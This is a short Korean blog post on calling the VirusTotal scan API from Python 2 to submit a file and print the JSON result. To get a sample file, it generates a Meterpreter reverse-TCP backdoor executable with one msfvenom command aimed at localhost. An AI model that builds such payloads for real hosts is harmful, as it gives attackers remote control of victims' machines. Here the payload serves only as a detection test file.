#12. Virustotal_API를 이용한 코딩
by Qerogram서론
오늘은 한번 Virustotal API를 이용한 간단한 프로그램을 작성해보았다.
진행과정
1. 제출할 백도어 생성
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -f exe > Backdoor.exe | cs |
2. 소스코드
1 2 3 4 5 6 | import requests params = {'apikey': 'myAPI'} files = {'file': ('Backdoor.exe', open('Backdoor.exe', 'rb'))} response = requests.post('https://www.virustotal.com/vtapi/v2/file/scan', files=files, params=params) json_response = response.json() print json_response | cs |
3. 결과확인
# REF
https://www.virustotal.com/ko/documentation/public-api/
'코딩 > Python' 카테고리의 다른 글
#14. IPv4 공인 아이피를 얻어보자 in Python 2.7.15 (0) | 2018.11.17 |
---|---|
#13. ADLER32 Calc in Python 2.7.15 (0) | 2018.10.12 |
#11. BMP 이미지 해킹 (0) | 2018.07.07 |
#10. PyInstaller (0) | 2018.06.28 |
#9. Tray 프로그램 (0) | 2018.06.26 |
블로그의 정보
Data+
Qerogram